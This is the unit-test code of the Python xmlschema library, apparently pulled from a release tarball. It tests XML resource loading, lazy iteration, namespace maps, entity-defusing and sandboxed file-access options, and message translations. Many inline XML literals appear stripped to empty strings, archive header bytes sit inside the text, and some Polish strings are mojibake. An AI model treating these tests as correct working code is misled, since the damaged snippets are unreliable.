'http://www.w3.org/2001/XMLSchema-instance'} ) resource._defuse = 'always' for _, elem in resource._lazy_iterparse(self.col_xml_file): self.assertTrue(is_etree_element(elem)) def test_xml_resource__parse(self): resource = XMLResource(self.vh_xml_file, lazy=False) self.assertEqual(resource.defuse, 'remote') with open(self.col_xml_file) as fp: resource._parse(fp) self.assertTrue(is_etree_element(resource.root)) resource._defuse = 'always' with open(self.col_xml_file) as fp: resource._parse(fp) self.assertTrue(is_etree_element(resource.root)) with urlopen(resource.url) as fp: resource._parse(fp) self.assertTrue(is_etree_element(resource.root)) def test_xml_resource_tostring(self): resource = XMLResource(self.vh_xml_file) self.assertTrue(resource.tostring().startswith('\n' ' \n') if lxml_etree is not None: root = lxml_etree.XML(XML_WITH_NAMESPACES) resource = XMLResource(root) # With lxml.etree there is no information loss. self.assertEqual(resource.tostring(), XML_WITH_NAMESPACES) def test_xml_resource_open(self): resource = XMLResource(self.vh_xml_file) xml_file = resource.open() self.assertIsNot(xml_file, resource.source) data = xml_file.read().decode('utf-8') self.assertTrue(data.startswith('') self.assertIsInstance(resource.open(), io.StringIO) resource = XMLResource(b'') self.assertIsInstance(resource.open(), io.BytesIO) resource = XMLResource(source=open(self.vh_xml_file)) xml_file = resource.open() self.assertIs(xml_file, resource.source) xml_file.close() def test_xml_resource_seek(self): resource = XMLResource(self.vh_xml_file) self.assertIsNone(resource.seek(0)) self.assertIsNone(resource.seek(1)) xml_file = open(self.vh_xml_file) resource = XMLResource(source=xml_file) self.assertEqual(resource.seek(0), 0) self.assertEqual(resource.seek(1), 1) xml_file.close() def test_xml_resource_manager(self): resource = XMLResource(self.vh_xml_file) with XMLResourceManager(resource) as ctx: self.assertTrue(callable(ctx.fp.read)) self.assertFalse(ctx.fp.closed) self.assertTrue(ctx.fp.closed) resource = XMLResource(open(self.vh_xml_file)) with XMLResourceManager(resource) as ctx: self.assertTrue(callable(ctx.fp.read)) self.assertFalse(ctx.fp.closed) self.assertFalse(ctx.fp.closed) resource.close() def test_xml_resource_close(self): resource = XMLResource(self.vh_xml_file) resource.close() with resource.open() as xml_file: self.assertTrue(callable(xml_file.read)) with open(self.vh_xml_file) as xml_file: resource = XMLResource(source=xml_file) resource.close() with self.assertRaises(XMLResourceOSError): resource.open() with open(self.vh_xml_file) as xml_file: resource = XMLResource(xml_file) with self.assertRaises(XMLResourceOSError): resource.load() # I/O operation on closed file def test_xml_resource_iter(self): resource = XMLResource(XMLSchema.meta_schema.source.url) self.assertFalse(resource.is_lazy()) lazy_resource = XMLResource(XMLSchema.meta_schema.source.url, lazy=True) self.assertTrue(lazy_resource.is_lazy()) tags = [x.tag for x in resource.iter()] self.assertEqual(len(tags), 1390) self.assertEqual(tags[0], '{%s}schema' % XSD_NAMESPACE) lazy_tags = [x.tag for x in lazy_resource.iter()] self.assertEqual(len(lazy_tags), 1390) self.assertEqual(lazy_tags[0], '{%s}schema' % XSD_NAMESPACE) self.assertNotEqual(tags, lazy_tags) tags = [x.tag for x in resource.iter('{%s}complexType' % XSD_NAMESPACE)] self.assertEqual(len(tags), 56) self.assertEqual(tags[0], '{%s}complexType' % XSD_NAMESPACE) self.assertListEqual( tags, [x.tag for x in lazy_resource.iter('{%s}complexType' % XSD_NAMESPACE)] ) def test_xml_resource_iter_depth(self): resource = XMLResource(XMLSchema.meta_schema.source.url) self.assertFalse(resource.is_lazy()) lazy_resource = XMLResource(XMLSchema.meta_schema.source.url, lazy=True) self.assertTrue(lazy_resource.is_lazy()) # Note: Elements change using a lazy resource so compare only tags tags = [x.tag for x in resource.iter_depth()] self.assertEqual(len(tags), 1) self.assertEqual(tags[0], '{%s}schema' % XSD_NAMESPACE) lazy_tags = [x.tag for x in lazy_resource.iter_depth()] self.assertEqual(len(lazy_tags), 156) self.assertEqual(lazy_tags[0], '{%s}annotation' % XSD_NAMESPACE) self.assertEqual(lazy_tags[-1], '{%s}element' % XSD_NAMESPACE) lazy_tags = [x.tag for x in lazy_resource.iter_depth(mode=3)] self.assertListEqual(tags, lazy_tags) lazy_tags = [x.tag for x in lazy_resource.iter_depth(mode=1)] self.assertEqual(len(lazy_tags), 156) lazy_tags = [x.tag for x in lazy_resource.iter_depth(mode=4)] self.assertEqual(len(lazy_tags), 157) self.assertEqual(tags[0], lazy_tags[-1]) lazy_tags = [x.tag for x in lazy_resource.iter_depth(mode=5)] self.assertEqual(len(lazy_tags), 158) self.assertEqual(tags[0], lazy_tags[0]) self.assertEqual(tags[0], lazy_tags[-1]) with self.assertRaises(ValueError) as ctx: _ = [x.tag for x in lazy_resource.iter_depth(mode=6)] self.assertEqual("invalid argument mode=6", str(ctx.exception)) source = StringIO('' ' ' ' ' '') resource = XMLResource(source, lazy=3) ancestors = [] self.assertIs(next(resource.iter_depth(ancestors=ancestors)), resource.root[1][0][0]) nsmap = resource.get_nsmap(resource.root[1][0][0]) self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0'}) self.assertListEqual(ancestors, [resource.root, resource.root[1], resource.root[1][0]]) def test_xml_resource_iterfind(self): namespaces = {'xs': XSD_NAMESPACE} resource = XMLResource(XMLSchema.meta_schema.source.url) self.assertFalse(resource.is_lazy()) lazy_resource = XMLResource(XMLSchema.meta_schema.source.url, lazy=True) self.assertTrue(lazy_resource.is_lazy()) tags = [x.tag for x in resource.iterfind(path='.')] self.assertEqual(len(tags), 1) self.assertEqual(tags[0], '{%s}schema' % XSD_NAMESPACE) with self.assertRaises(XMLSchemaValueError) as ctx: _ = [x.tag for x in lazy_resource.iterfind(path='.')] self.assertEqual("can't use path '.' on a lazy resource", str(ctx.exception)) tags = [x.tag for x in resource.iterfind(path='*')] self.assertEqual(len(tags), 156) self.assertEqual(tags[0], '{%s}annotation' % XSD_NAMESPACE) lazy_tags = [x.tag for x in lazy_resource.iterfind(path='*')] self.assertListEqual(tags, lazy_tags) tags = [x.tag for x in resource.iterfind('xs:complexType', namespaces)] self.assertEqual(len(tags), 35) self.assertTrue(all(t == '{%s}complexType' % XSD_NAMESPACE for t in tags)) lazy_tags = [x.tag for x in lazy_resource.iterfind('xs:complexType', namespaces)] self.assertListEqual(tags, lazy_tags) tags = [x.tag for x in resource.iterfind('. /. / xs:complexType', namespaces)] self.assertEqual(len(tags), 35) self.assertTrue(all(t == '{%s}complexType' % XSD_NAMESPACE for t in tags)) lazy_tags = [ x.tag for x in lazy_resource.iterfind('. /. / xs:complexType', namespaces) ] self.assertListEqual(tags, lazy_tags) def test_xml_resource_find(self): root = ElementTree.XML('') resource = XMLResource(root) self.assertIs(resource.find('*/c2'), root[0][1]) self.assertIsNone(resource.find('*/c3')) resource = XMLResource('' ' ' ' ' '') self.assertIs(resource.find('*/c2'), resource.root[0][1]) nsmap = resource.get_nsmap(resource.root[0][1]) self.assertDictEqual(nsmap, {'tns2': 'http://example.com/ns2'}) ancestors = [] self.assertIs(resource.find('*/c2', ancestors=ancestors), resource.root[0][1]) nsmap = resource.get_nsmap(resource.root[0][1]) self.assertDictEqual(nsmap, {'tns2': 'http://example.com/ns2'}) self.assertListEqual(ancestors, [resource.root, resource.root[0]]) ancestors = [] self.assertIs(resource.find('.', ancestors=ancestors), resource.root) self.assertDictEqual(resource.get_nsmap(resource.root), {}) self.assertListEqual(ancestors, []) ancestors = [] self.assertIsNone(resource.find('b3', ancestors=ancestors)) self.assertListEqual(ancestors, []) def test_xml_resource_lazy_find(self): source = StringIO('') resource = XMLResource(source, lazy=True) self.assertIs(resource.find('*/c2'), resource.root[0][1]) source = StringIO('' ' ' ' ' '') resource = XMLResource(source, lazy=True) ancestors = [] self.assertIs(resource.find('*/c2', ancestors=ancestors), resource.root[0][1]) nsmap = resource.get_nsmap(resource.root[0][1]) self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0', 'tns2': 'http://example.com/ns2'}) self.assertListEqual(ancestors, [resource.root, resource.root[0]]) ancestors = [] self.assertIs(resource.find('*/c3', ancestors=ancestors), resource.root[1][0]) nsmap = resource.get_nsmap(resource.root[1][0]) self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0'}) self.assertListEqual(ancestors, [resource.root, resource.root[1]]) ancestors = [] self.assertIs(resource.find('*/c3/d1', ancestors=ancestors), resource.root[1][0][0]) nsmap = resource.get_nsmap(resource.root[1][0][0]) self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0'}) self.assertListEqual(ancestors, [resource.root, resource.root[1], resource.root[1][0]]) ancestors = [] self.assertIs(resource.find('*', ancestors=ancestors), resource.root[0]) nsmap = resource.get_nsmap(resource.root[0]) self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0'}) self.assertListEqual(ancestors, [resource.root]) ancestors = [] with self.assertRaises(XMLSchemaValueError) as ctx: resource.find('/b1', ancestors=ancestors) self.assertEqual("can't use path '/b1' on a lazy resource", str(ctx.exception)) source.seek(0) resource = XMLResource(source, lazy=2) ancestors = [] self.assertIs(resource.find('*/c2', ancestors=ancestors), resource.root[0][1]) nsmap = resource.get_nsmap(resource.root[0][1]) self.assertDictEqual(nsmap, {'tns0': 'http://example.com/ns0', 'tns2': 'http://example.com/ns2'}) self.assertListEqual(ancestors, [resource.root, resource.root[0]]) def test_xml_resource_findall(self): root = ElementTree.XML('') resource = XMLResource(root) self.assertListEqual(resource.findall('*/*'), root[0][:]) self.assertListEqual(resource.findall('*/c3'), []) def test_iterfind_parser(self): source = StringIO('') parser = iterfind_parser('/a/b2') resource = XMLResource(source, iterparse=parser) tags = [e.tag for e in resource.iter()] self.assertListEqual(tags, ['a', 'b1', 'b2']) parser = iterfind_parser('/a/b2', ancestors=[]) resource = XMLResource(source, iterparse=parser) tags = [e.tag for e in resource.iter()] self.assertListEqual(tags, ['a', 'b2']) parser = iterfind_parser('./b2') resource = XMLResource(source, iterparse=parser) tags = [e.tag for e in resource.iter()] self.assertListEqual(tags, ['a', 'b1', 'b2']) def test_xml_resource_nsmap_tracking(self): xsd_file = self.casepath('examples/collection/collection4.xsd') resource = XMLResource(xsd_file) root = resource.root for elem in resource.iter(): nsmap = resource.get_nsmap(elem) if elem is root[2][0] or elem in root[2][0]: self.assertEqual(dict(nsmap), {'xs': 'http://www.w3.org/2001/XMLSchema', '': 'http://www.w3.org/2001/XMLSchema'}) else: self.assertEqual(dict(nsmap), {'xs': 'http://www.w3.org/2001/XMLSchema', '': 'http://example.com/ns/collection'}) resource._nsmaps.clear() resource._nsmaps[resource.root] = {} for elem in resource.iter(): nsmap = resource.get_nsmap(elem) if elem is resource.root: self.assertEqual(nsmap, {}) else: self.assertIsNone(nsmap) if lxml_etree is not None: tree = lxml_etree.parse(xsd_file) resource = XMLResource(tree) root = resource.root for elem in resource.iter(): if callable(elem.tag): continue nsmap = resource.get_nsmap(elem) if elem is root[2][0] or elem in root[2][0]: self.assertEqual(dict(nsmap), {'xs': 'http://www.w3.org/2001/XMLSchema', '': 'http://www.w3.org/2001/XMLSchema'}) else: self.assertEqual(dict(nsmap), {'xs': 'http://www.w3.org/2001/XMLSchema', '': 'http://example.com/ns/collection'}) resource = XMLResource(xsd_file, lazy=True) root = resource.root for k, elem in enumerate(resource.iter()): if not k: self.assertIs(elem, resource.root) self.assertIsNot(root, resource.root) nsmap = resource.get_nsmap(elem) try: if elem is resource.root[2][0] or elem in resource.root[2][0]: self.assertEqual(nsmap[''], 'http://www.w3.org/2001/XMLSchema') else: self.assertEqual(nsmap[''], 'http://example.com/ns/collection') except IndexError: self.assertEqual(nsmap[''], 'http://example.com/ns/collection') def test_xml_resource_get_namespaces(self): with open(self.vh_xml_file) as schema_file: resource = XMLResource(schema_file) self.assertIsNone(resource.url) self.assertEqual(set(resource.get_namespaces().keys()), {'vh', 'xsi'}) self.assertFalse(schema_file.closed) with open(self.vh_xsd_file) as schema_file: resource = XMLResource(schema_file) self.assertIsNone(resource.url) self.assertEqual(set(resource.get_namespaces().keys()), {'xs', 'vh'}) self.assertFalse(schema_file.closed) resource = XMLResource(self.col_xml_file) self.assertEqual(resource.url, normalize_url(self.col_xml_file)) self.assertEqual(set(resource.get_namespaces().keys()), {'col', 'xsi'}) resource = XMLResource(self.col_xsd_file) self.assertEqual(resource.url, normalize_url(self.col_xsd_file)) self.assertEqual(set(resource.get_namespaces().keys()), {'', 'xs'}) resource = XMLResource(""" """, lazy=False) self.assertEqual(set(resource.get_namespaces(root_only=False).keys()), {'', 'tns', 'default'}) resource = XMLResource(""" """, lazy=False) self.assertEqual(set(resource.get_namespaces(root_only=False).keys()), {'default', 'tns'}) self.assertEqual(resource.get_namespaces(root_only=True).keys(), {'tns'}) resource = XMLResource(""" """, lazy=False) self.assertEqual(set(resource.get_namespaces(root_only=False).keys()), {'default', 'tns', 'tns0'}) resource = XMLResource('') with self.assertRaises(ValueError) as ctx: resource.get_namespaces(namespaces={'xml': "http://example.com/ne"}) self.assertIn("reserved prefix 'xml'", str(ctx.exception)) def test_xml_resource_get_locations(self): resource = XMLResource(self.col_xml_file) self.check_url(resource.url, normalize_url(self.col_xml_file)) locations = resource.get_locations([('ns', 'other.xsd')], root_only=False) self.assertEqual(len(locations), 2) self.check_url(locations[0][1], os.path.join(self.col_dir, 'other.xsd')) self.check_url(locations[1][1], normalize_url(self.col_xsd_file)) source = StringIO('' ' ' ' ' '') resource = XMLResource(source) locations = resource.get_locations(root_only=False) self.assertEqual(len(locations), 2) self.assertEqual(locations[0][0], 'http://example.com/ns1') self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/loc1') self.assertEqual(locations[1][0], 'http://example.com/ns2') self.assertRegex(locations[1][1], f'file://{DRIVE_REGEX}/loc2') locations = resource.get_locations(root_only=True) self.assertEqual(len(locations), 1) self.assertEqual(locations[0][0], 'http://example.com/ns1') self.assertRegex(locations[0][1], f'file://{DRIVE_REGEX}/loc1') @unittest.skipIf(SKIP_REMOTE_TESTS or platform.system() == 'Windows', "Remote networks are not accessible or avoid SSL " "verification error on Windows.") def test_remote_resource_loading(self): url = "https://raw.githubusercontent.com/brunato/xmlschema/master/" \ "tests/test_cases/examples/collection/collection.xsd" with urlopen(url) as rh: col_xsd_resource = XMLResource(rh) self.assertIsNone(col_xsd_resource.url, url) self.assertIsNone(col_xsd_resource.filepath) self.assertEqual(col_xsd_resource.namespace, XSD_NAMESPACE) self.assertIsNone(col_xsd_resource.seek(0)) with self.assertRaises(XMLResourceOSError) as ctx: col_xsd_resource.load() self.assertIn('has been closed', str(ctx.exception)) col_xsd_resource = XMLResource(url) col_xsd_resource.load() col_schema = XMLSchema(col_xsd_resource.get_text()) self.assertTrue(isinstance(col_schema, XMLSchema)) vh_schema = XMLSchema("https://raw.githubusercontent.com/brunato/xmlschema/master/" "tests/test_cases/examples/vehicles/vehicles.xsd") self.assertTrue(isinstance(vh_schema, XMLSchema)) self.assertTrue(vh_schema.source.is_remote()) def test_schema_defuse(self): vh_schema = XMLSchema(self.vh_xsd_file, defuse='always') self.assertIsInstance(vh_schema.root, ElementTree.Element) for schema in vh_schema.maps.iter_schemas(): self.assertIsInstance(schema.root, ElementTree.Element) def test_schema_resource_access(self): vh_schema = XMLSchema(self.vh_xsd_file, allow='sandbox') self.assertTrue(isinstance(vh_schema, XMLSchema)) xsd_source = """ """.format(self.vh_xsd_file) schema = XMLSchema(xsd_source, allow='all') self.assertTrue(isinstance(schema, XMLSchema)) self.assertIn("http://example.com/vehicles", schema.maps.namespaces) self.assertEqual(len(schema.maps.namespaces["http://example.com/vehicles"]), 4) with warnings.catch_warnings(record=True) as ctx: warnings.simplefilter("always") XMLSchema(xsd_source, allow='remote') self.assertEqual(len(ctx), 1, "Expected one import warning") self.assertIn("block access to local resource", str(ctx[0].message)) schema = XMLSchema(xsd_source, allow='local') self.assertTrue(isinstance(schema, XMLSchema)) self.assertIn("http://example.com/vehicles", schema.maps.namespaces) self.assertEqual(len(schema.maps.namespaces["http://example.com/vehicles"]), 4) with self.assertRaises(XMLSchemaValueError) as ctx: XMLSchema(xsd_source, allow='sandbox') self.assertIn("block access to files out of sandbox", str(ctx.exception)) schema = XMLSchema( xsd_source, base_url=os.path.dirname(self.vh_xsd_file), allow='all' ) self.assertTrue(isinstance(schema, XMLSchema)) self.assertIn("http://example.com/vehicles", schema.maps.namespaces) self.assertEqual(len(schema.maps.namespaces["http://example.com/vehicles"]), 4) with warnings.catch_warnings(record=True) as ctx: warnings.simplefilter("always") XMLSchema(xsd_source, base_url='/improbable', allow='sandbox') self.assertEqual(len(ctx), 1, "Expected one import warning") self.assertIn("block access to out of sandbox", str(ctx[0].message)) def test_fid_with_name_attr(self): """XMLResource gets correct data when passed a file like object with a name attribute that isn't on disk. These file descriptors appear when working with the contents from a zip using the zipfile module and with Django files in some instances. """ class FileProxy: def __init__(self, fid, fake_name): self._fid = fid self.name = fake_name def __getattr__(self, attr): try: return self.__dict__[attr] except (KeyError, AttributeError): return getattr(self.__dict__["_fid"], attr) with open(self.vh_xml_file) as xml_file: resource = XMLResource(FileProxy(xml_file, fake_name="not__on____disk.xml")) self.assertIsNone(resource.url) self.assertEqual(set(resource.get_namespaces().keys()), {'vh', 'xsi'}) self.assertFalse(xml_file.closed) def test_parent_map(self): root = ElementTree.XML('') resource = XMLResource(root) self.assertIsNone(resource.parent_map[root]) self.assertIs(resource.parent_map[root[0]], root) self.assertIs(resource.parent_map[root[1]], root) self.assertIs(resource.parent_map[root[0][0]], root[0]) self.assertIs(resource.parent_map[root[0][1]], root[0]) resource = XMLResource(StringIO(''), lazy=True) with self.assertRaises(XMLResourceError) as ctx: _ = resource.parent_map self.assertEqual("can't create the parent map of a lazy XML resource", str(ctx.exception)) def test_get_nsmap(self): source = '' alien_elem = ElementTree.XML('') root = ElementTree.XML(source) resource = XMLResource(root) self.assertIsNone(resource.get_nsmap(root)) self.assertIsNone(resource.get_nsmap(root[1])) self.assertIsNone(resource.get_nsmap(alien_elem)) if lxml_etree is not None: root = lxml_etree.XML(source) resource = XMLResource(root) self.assertDictEqual(resource.get_nsmap(root), {'': 'uri1'}) self.assertDictEqual(resource.get_nsmap(root[0]), {'x': 'uri2', '': 'uri1'}) self.assertDictEqual(resource.get_nsmap(root[1]), {'': 'uri3'}) self.assertIsNone(resource.get_nsmap(alien_elem)) resource = XMLResource(source) root = resource.root self.assertDictEqual(resource.get_nsmap(root), {'': 'uri1'}) self.assertDictEqual(resource.get_nsmap(root[0]), {'': 'uri1', 'x': 'uri2'}) self.assertDictEqual(resource.get_nsmap(root[1]), {'': 'uri3'}) self.assertIsNone(resource.get_nsmap(alien_elem)) resource = XMLResource(StringIO(source), lazy=True) root = resource.root self.assertTrue(resource.is_lazy()) self.assertDictEqual(resource.get_nsmap(root), {'': 'uri1'}) self.assertIsNone(resource.get_nsmap(root[0])) self.assertIsNone(resource.get_nsmap(root[1])) self.assertIsNone(resource.get_nsmap(alien_elem)) def test_get_xmlns(self): source = '' alien_elem = ElementTree.XML('') root = ElementTree.XML(source) resource = XMLResource(root) self.assertIsNone(resource.get_xmlns(root)) self.assertIsNone(resource.get_xmlns(root[1])) self.assertIsNone(resource.get_xmlns(alien_elem)) if lxml_etree is not None: root = lxml_etree.XML(source) resource = XMLResource(root) self.assertListEqual(resource.get_xmlns(root), [('', 'uri1')]) self.assertListEqual(resource.get_xmlns(root[0]), [('x', 'uri2')]) self.assertListEqual(resource.get_xmlns(root[1]), [('', 'uri3')]) self.assertIsNone(resource.get_xmlns(alien_elem)) resource = XMLResource(source) root = resource.root self.assertListEqual(resource.get_xmlns(root), [('', 'uri1')]) self.assertListEqual(resource.get_xmlns(root[0]), [('x', 'uri2')]) self.assertListEqual(resource.get_xmlns(root[1]), [('', 'uri3')]) self.assertIsNone(resource.get_xmlns(alien_elem)) resource = XMLResource(StringIO(source), lazy=True) root = resource.root self.assertTrue(resource.is_lazy()) self.assertListEqual(resource.get_xmlns(root), [('', 'uri1')]) self.assertIsNone(resource.get_xmlns(root[0])) self.assertIsNone(resource.get_xmlns(root[1])) self.assertIsNone(resource.get_xmlns(alien_elem)) def test_xml_subresource(self): resource = XMLResource(self.vh_xml_file, lazy=True) with self.assertRaises(XMLResourceError) as ctx: resource.subresource(resource.root) self.assertEqual("can't create a subresource from a lazy XML resource", str(ctx.exception)) resource = XMLResource(self.vh_xml_file) root = resource.root subresource = resource.subresource(root[0]) self.assertIs(subresource.root, resource.root[0]) with self.assertRaises(XMLSchemaTypeError) as ctx: resource.subresource(None) self.assertEqual("argument must be an Element instance", str(ctx.exception)) if lxml_etree is not None: resource = XMLResource(lxml_etree.parse(self.vh_xml_file).getroot()) root = resource.root subresource = resource.subresource(root[0]) self.assertIs(subresource.root, resource.root[0]) xml_text = '' resource = XMLResource(xml_text) root = resource.root subresource = resource.subresource(root[0]) self.assertIs(subresource.root, resource.root[0]) def test_loading_from_unrelated_dirs__issue_237(self): relative_path = str(pathlib.Path(__file__).parent.joinpath( 'test_cases/issues/issue_237/dir1/issue_237.xsd' )) schema = XMLSchema(relative_path) self.assertEqual(schema.maps.namespaces[''][1].name, 'issue_237a.xsd') self.assertEqual(schema.maps.namespaces[''][2].name, 'issue_237b.xsd') def test_uri_mapper(self): urn = 'urn:example:xmlschema:vehicles.xsd' uri_mapper = {urn: self.vh_xsd_file} with self.assertRaises(XMLResourceOSError): XMLResource(urn) resource = XMLResource(urn, uri_mapper=uri_mapper) self.assertEqual(resource.url[-30:], 'examples/vehicles/vehicles.xsd') vh_schema = XMLSchema(self.vh_xsd_file, uri_mapper=uri_mapper) self.assertTrue(vh_schema.is_valid(self.vh_xml_file)) def uri_mapper(uri): return self.vh_xsd_file if uri == urn else uri resource = XMLResource(urn, uri_mapper=uri_mapper) self.assertEqual(resource.url[-30:], 'examples/vehicles/vehicles.xsd') def test_opener_argument(self): class NoSeekFile(addinfourl): def seekable(self): return False def seek(self, pos, whence=0): return pos class MyFileHandler(FileHandler): def file_open(self, req): obj = super().file_open(req) if not isinstance(obj, addinfourl): return obj obj.close() return NoSeekFile(open(obj.fp.name, 'rb'), obj.headers, obj.url, obj.code) opener = build_opener(MyFileHandler) resource = XMLResource(self.vh_xml_file, opener=opener) fp = resource.open() try: self.assertIsInstance(fp, NoSeekFile) finally: fp.close() resource = XMLResource(self.vh_xml_file, opener=opener, defuse='always') try: fp = resource.open() self.assertIsInstance(fp, NoSeekFile) self.assertFalse(fp.seekable()) self.assertEqual(fp.tell(), 0) # File not used for defusing XML data finally: fp.close() def test_iterparse_argument(self): resource = XMLResource(self.vh_xml_file, iterparse=ElementTree.iterparse) k = 0 for k, elem in enumerate(resource.root.iter(), start=1): self.assertTrue(is_etree_element(elem)) self.assertFalse(is_lxml_element(elem)) self.assertIsInstance(elem, ElementTree.Element) if k == 0: self.assertIs(elem, resource.root) self.assertEqual(k, 7) def test_iterparse_argument_with_parser_instance(self): def iterparse(fp, events): builder = ElementTree.TreeBuilder(insert_comments=True) parser = ElementTree.XMLParser(target=builder) return ElementTree.iterparse(fp, events=events, parser=parser) resource = XMLResource(self.vh_xml_file, iterparse=iterparse) k = 0 for k, elem in enumerate(resource.root.iter(), start=1): self.assertTrue(is_etree_element(elem)) self.assertFalse(is_lxml_element(elem)) self.assertIsInstance(elem, ElementTree.Element) if k == 0: self.assertIs(elem, resource.root) elif k == 4: self.assertTrue(callable(elem.tag)) # self.assertEqual(k, 8) @unittest.skipIf(lxml_etree is None, "Skip: lxml is not available.") def test_iterparse_argument_with_lxml(self): resource = XMLResource(self.vh_xml_file, iterparse=lxml_etree.iterparse) k = 0 for k, elem in enumerate(resource.root.iter(), start=1): self.assertTrue(is_lxml_element(elem)) self.assertIsInstance(elem, lxml_etree._Element) if k == 0: self.assertIs(elem, resource.root) elif k == 4: self.assertTrue(callable(elem.tag)) # self.assertEqual(k, 8) @unittest.skipIf(lxml_etree is None, "Skip: lxml is not available.") def test_iterparse_argument_for_html(self): def iterparse(fp, events): # Ignore deprecation warning of 'strip_cdata' option of HTMLParser(), # no way to provide a parser instance or other parameters. with warnings.catch_warnings(): warnings.simplefilter('ignore') return lxml_etree.iterparse(fp, events=events, html=True) html_source = (b"page title" b"

foo

bar") with self.assertRaises(XMLResourceError) as ctx: XMLResource(html_source, iterparse=lxml_etree.iterparse) self.assertIn("Opening and ending tag mismatch", str(ctx.exception)) resource = XMLResource(html_source, iterparse=iterparse) self.assertTrue(is_lxml_element(resource.root)) self.assertEqual(resource.root.tag, 'html') k = 0 for k, elem in enumerate(resource.root.iter(), start=1): self.assertTrue(is_lxml_element(elem)) self.assertIsInstance(elem, lxml_etree._Element) if k == 0: self.assertIs(elem, resource.root) self.assertEqual(k, 6) def test_xml_resource_copy(self): path = Path(self.vh_xml_file) resource = XMLResource(path, lazy=True) other = copy.copy(resource) self.assertIsNot(other, resource) self.assertIs(other.root, resource.root) self.assertIsNot(other._nsmaps, resource._nsmaps) self.assertIsNot(other._xmlns, resource._xmlns) if __name__ == '__main__': run_xmlschema_tests('XML resources') xmlschema-4.1.0/tests/test_translations.py000066400000000000000000000132211502040105500207600ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """Tests on internal helper functions""" import unittest import gettext import warnings import pathlib from xmlschema import XMLSchema, translation from xmlschema.testing import SKIP_REMOTE_TESTS, run_xmlschema_tests class TestTranslations(unittest.TestCase): @classmethod def setUpClass(cls): XMLSchema.meta_schema.build() cls.translation_classes = (gettext.NullTranslations, # in case of fallback gettext.GNUTranslations) @classmethod def tearDownClass(cls): XMLSchema.meta_schema.clear() def test_activation(self): self.assertIsNone(translation._translation) try: translation.activate() self.assertIsInstance(translation._translation, self.translation_classes) finally: translation._translation = None def test_deactivation(self): self.assertIsNone(translation._translation) try: translation.activate() self.assertIsInstance(translation._translation, self.translation_classes) translation.deactivate() self.assertIsNone(translation._translation) finally: translation._translation = None def test_install(self): import builtins self.assertIsNone(translation._translation) self.assertFalse(translation._installed) try: translation.activate(install=True) self.assertIsInstance(translation._translation, self.translation_classes) self.assertTrue(translation._installed) self.assertEqual(builtins.__dict__['_'], translation._translation.gettext) translation.deactivate() self.assertIsNone(translation._translation) self.assertFalse(translation._installed) self.assertNotIn('_', builtins.__dict__) finally: translation._translation = None translation._installed = False builtins.__dict__.pop('_', None) def test_it_translation(self): self.assertIsNone(translation._translation) try: translation.activate(languages=['it']) self.assertIsInstance(translation._translation, gettext.GNUTranslations) result = translation.gettext("not a redefinition!") self.assertEqual(result, "non è una ridefinizione!") finally: translation._translation = None try: translation.activate(languages=['it', 'en']) self.assertIsInstance(translation._translation, gettext.GNUTranslations) result = translation.gettext("not a redefinition!") self.assertEqual(result, "non è una ridefinizione!") translation.activate(languages=['en', 'it']) self.assertIsInstance(translation._translation, gettext.GNUTranslations) result = translation.gettext("not a redefinition!") self.assertEqual(result, "not a redefinition!") finally: translation._translation = None def test_pl_translation(self): self.assertIsNone(translation._translation) try: translation.activate(languages=['pl']) self.assertIsInstance(translation._translation, gettext.GNUTranslations) result = translation.gettext("The content of element %r is not complete.") self.assertEqual(result, "Zawartość elementu %r nie jest kompletna.") finally: translation._translation = None try: translation.activate(languages=['pl', 'en']) self.assertIsInstance(translation._translation, gettext.GNUTranslations) result = translation.gettext("The content of element %r is not complete.") self.assertEqual(result, "Zawartość elementu %r nie jest kompletna.") finally: translation._translation = None @unittest.skipIf(SKIP_REMOTE_TESTS, "Remote networks are not accessible.") def test_pl_validation_translation(self): test_dir_path = pathlib.Path(__file__).absolute().parent xml_path = test_dir_path.joinpath( "test_cases//translations//pl//tytul_wykonawczy_niekompletny.xml" ) xsd_path = test_dir_path.joinpath("test_cases//translations//pl//tw-1(5)8e.xsd") expected_errors = [ "Zawartość elementu 'com:Opisowy' nie jest kompletna. " "Oczekiwany znacznik 'com:Miejscowosc'.", "atrybut rodzaj='8': wartość musi być jednÄ… z [1, 2]", "Zawartość elementu 'com:Beneficjent' nie jest kompletna. " "Oczekiwany znacznik 'com:NrRachunkuPL'.", ] with warnings.catch_warnings(record=True) as warns: warnings.simplefilter("always") try: translation.activate(languages=['pl']) schema = XMLSchema( xsd_path, defuse="never", validation="lax", ) errors = [error.reason for error in schema.iter_errors(xml_path)] if warns: self.assertNotEqual(errors, expected_errors) else: self.assertListEqual(errors, expected_errors) finally: translation._translation = None if __name__ == '__main__': run_xmlschema_tests('translations') xmlschema-4.1.0/tests/test_utils.py000066400000000000000000001170431502040105500174060ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # """Tests on internal helper functions""" import sys import unittest import decimal import logging import warnings from collections import OrderedDict from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None from xmlschema import XMLSchema, XMLSchemaParseError from xmlschema.names import XSD_NAMESPACE, XSI_NAMESPACE, XSD_SCHEMA, \ XSD_ELEMENT, XSD_SIMPLE_TYPE, XSD_ANNOTATION, XSI_TYPE from xmlschema.utils.etree import prune_etree, etree_get_ancestors, etree_getpath, \ etree_iter_location_hints, etree_tostring from xmlschema.utils.qnames import get_namespace, get_qname, local_name, \ get_prefixed_qname, get_extended_qname, update_namespaces from xmlschema.utils.logger import set_logging_level, logged, format_xmlschema_stack, \ dump_data from xmlschema.utils.decoding import raw_encode_value, raw_encode_attributes, \ count_digits, strictly_equal from xmlschema.utils.misc import deprecated, will_change from xmlschema.testing import iter_nested_items, etree_elements_assert_equal, \ run_xmlschema_tests from xmlschema.validators.exceptions import XMLSchemaValidationError from 